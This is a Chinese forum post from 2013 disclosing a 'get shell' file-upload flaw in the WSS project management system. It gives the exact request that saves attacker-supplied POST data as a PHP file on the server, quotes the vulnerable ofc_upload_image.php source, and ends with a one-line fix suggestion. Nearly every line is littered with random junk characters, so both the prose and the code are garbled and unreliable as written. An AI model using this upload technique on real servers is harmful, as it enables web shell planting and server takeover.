找回密码
 立即注册
查看: 2399|回复: 0
打印 上一主题 下一主题

WSS项目管理系统Post get shell

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:38:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
POST 数据漏洞文件执行任意后缀文件保存1 ^5 J& S; A& w4 b% s7 S, j  j) \2 [
漏洞文件/chart/php-ofc-library/ofc_upload_image.php8 P& U1 I: n( D( L9 ^

4 g. A' K" y' C利用:- E  A  p/ Q6 F0 C8 m4 w7 W
/chart/php-ofc-library/ofc_upload_image.php?name=hfy.php hfy.php 文件名# ?' \5 A$ |/ E  |+ [

2 E( F' c$ [% IPost任意数据( ]2 q+ y3 U9 j% N, H3 \
保存位置http://localhost/chart/tmp-upload-images/hfy.php
, @) F+ Z5 M6 H
0 _4 n* a, \0 h! p& X$ X
2 h+ K. Y& X. K: M) v, o最新版wss漏洞文件,即使是收费版本也有的,在新浪商店部署的demo~
0 |5 r) Q6 P. }5 f, j9 A# s1 f4 B$ R8 Y# a
<?php
' p. B& E, Q& I: u
+ I$ S6 }/ q( D. t* P. W//2 d; c3 {* f  P! V: s
// In Open Flash Chart -> save_image debug mode, you
8 v3 V" y: u9 n* ^# O. ?// will see the 'echo' text in a new window.( \# e( V( s! b; m  I
//
2 Y, @" U0 J! l
" Q! ~1 Q3 |7 w! o& D0 F' Y* C/*
  N+ h' z" C+ N9 J; n! \
/ D5 z, j, {* U3 Gprint_r( $_GET );+ ?0 i+ d& c/ ~1 B- S: v/ r
print_r( $_POST );2 t$ i+ O/ i+ }, M7 c0 w( p
print_r( $_FILES );5 A7 ?3 U3 |( |/ c; g: b8 w+ k3 d
- g8 D4 \& i3 o
print_r( $GLOBALS );5 r; S; e! `5 L, Q
print_r( $GLOBALS["HTTP_RAW_POST_DATA"] );
4 B# w& ~8 l+ u) c3 q& S: |! S' B8 a/ c+ Y
*/
/ H8 j0 [& S% u// default path for the image to be stored //- `; h* y& G! ^
$default_path = '../tmp-upload-images/';  C/ y- d# e/ T0 d* R1 f8 d' D+ G
8 n, M5 J: H# |
if (!file_exists($default_path)) mkdir($default_path, 0777, true);, \9 M, C9 ?2 }" {4 V
% Y) L3 l! x5 F
// full path to the saved image including filename //. d5 o! g" b6 `1 T( w# A
$destination = $default_path . basename( $_GET[ 'name' ] );
+ Y, c' x1 o$ G( W. x6 ?: d) C5 n4 X$ H/ ~
echo 'Saving your image to: '. $destination;
* ]/ c1 b6 K8 W' t6 U; u// print_r( $_POST );  |* y. Q3 d& ]3 }
// print_r( $_SERVER );- c' K' I! ^$ `+ P, z
// echo $HTTP_RAW_POST_DATA;
( E  d; C4 X# S! I/ z$ Q+ O" c0 s4 u: a9 F; \# Y! H
//
- G/ ~$ E0 M0 v# Y/ j* w3 _// POST data is usually string data, but we are passing a RAW .png$ Q# l$ i! u1 ]0 X% X1 P
// so PHP is a bit confused and $_POST is empty. But it has saved! D! X2 d, s$ g7 ]% r
// the raw bits into $HTTP_RAW_POST_DATA
( q" n4 L% _% A5 d& S//
4 g0 J. @0 W3 s( m/ Q6 H. [! s+ y- |2 e) m6 u
$jfh = fopen($destination, 'w') or die("can't open file");
; y1 c+ H9 x) [% Wfwrite($jfh, $HTTP_RAW_POST_DATA);
4 k" l0 Y0 |  d4 ?0 yfclose($jfh);
9 A) W) \/ l. F& i& T& C! ]& ~9 X0 H
//
5 K- T% D% B4 I8 I! j8 j// LOOK:& W0 F7 t$ h; i6 A% Z9 E
//
9 O+ e# Q# R1 Qexit();
" \9 Z' Q9 g/ J8 V# c) G- _//7 Y- |4 P! ?: J6 K# X
// PHP5:4 e/ ]9 G$ |: ]& q/ g
//4 ~. q+ k0 M7 S- X* m: T8 H/ F0 h
6 ^1 h! d7 l/ W8 ^8 }
* e% l3 M& ~: [+ {) B1 \
// default path for the image to be stored //0 k; j! Q3 H  c* ?
$default_path = 'tmp-upload-images/';
% F& o& l- Z: y" ~
% Z  E" p6 ^' K* {( f# iif (!file_exists($default_path)) mkdir($default_path, 0777, true);; h  G6 }% `; S& U( _
0 O! w( i# ?6 Z' O+ n
// full path to the saved image including filename //
, }; w& O* X0 K/ K2 H$destination = $default_path . basename( $_FILES[ 'Filedata' ][ 'name' ] ); " M( y. {, ?! T( ^& S
# f8 U( {8 q/ z) M3 s6 _8 f( b2 ]
// move the image into the specified directory //1 [  o7 s2 X5 v7 P
if (move_uploaded_file($_FILES[ 'Filedata' ][ 'tmp_name' ], $destination)) {2 [  R8 \/ V+ k8 |% V0 \
    echo "The file " . basename( $_FILES[ 'Filedata' ][ 'name' ] ) . " has been uploaded;";; h' Y  q; m. B: d8 u, R
} else {
/ {8 a. j" t6 j( W# }( G    echo "FILE UPLOAD FAILED";# A* F8 V% L  A4 l% F" D$ F
}: M4 c6 r+ y  u! Y2 Z5 l# D4 {

3 j0 @9 z0 Z4 Z! k8 a4 t& I& X6 m1 x3 _: j4 z2 J; E% v
?>- J6 I7 \/ Z% X
. w9 z& G3 @! r) d
) t: _6 d6 I2 N; p$ k0 k8 j

: @# z- L# {) \9 q& @0 q1 N' Z2 ?1 E% o! g
0 d9 Z: M! o( M
) Z# ~" E8 L" H5 T) w& B
修复方案: ' I7 \) Y4 U/ r* ?0 S+ L1 I
这个漏洞文件就是个杯具,怎么破,加权限验证,后缀等验证~,自己搞
! V* S. x% j9 e5 _3 ?4 S, X' m; F
% K1 w5 j! j% g4 Q
7 {: [' P2 R* o3 Y/ B+ A2 [# a

2 |$ Z( P# l( U, J/ z8 O

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有帐号?立即注册

x
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表